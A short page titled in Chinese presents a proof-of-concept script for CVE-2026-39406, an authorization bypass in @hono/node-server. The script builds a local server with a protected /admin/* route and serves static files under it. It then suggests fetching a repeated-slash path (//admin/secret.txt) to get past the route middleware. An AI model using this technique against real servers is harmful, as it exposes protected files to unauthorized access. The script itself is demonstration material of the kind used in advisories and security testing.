CVE-2026-39406 @hono/node-server授权绕过漏洞

// PoC for CVE-2026-39406: Bypassing route-based middleware in @hono/node-server // This script demonstrates how repeated slashes allow accessing protected files. const { Hono } = require('hono'); const { serveStatic } = require('@hono/node-server'); const { serve } = require('@hono/node-server'); const app = new Hono(); // Simulated protected route middleware (e.g., /admin/*) app.use('/admin/*', async (c, next) => { console.log(`[Auth Middleware] Checking access for path: ${c.req.path}`); // In a real scenario, this would check cookies/headers return c.text('Access Denied: Authentication Required', 403); }); // Serve static files from a 'public' directory app.use('/admin/*', serveStatic({ root: './public' })); // Setup vulnerable server const server = serve({ fetch: app.fetch, port: 3000 }); console.log('Server running on http://localhost:3000'); console.log('Try accessing: http://localhost:3000//admin/secret.txt');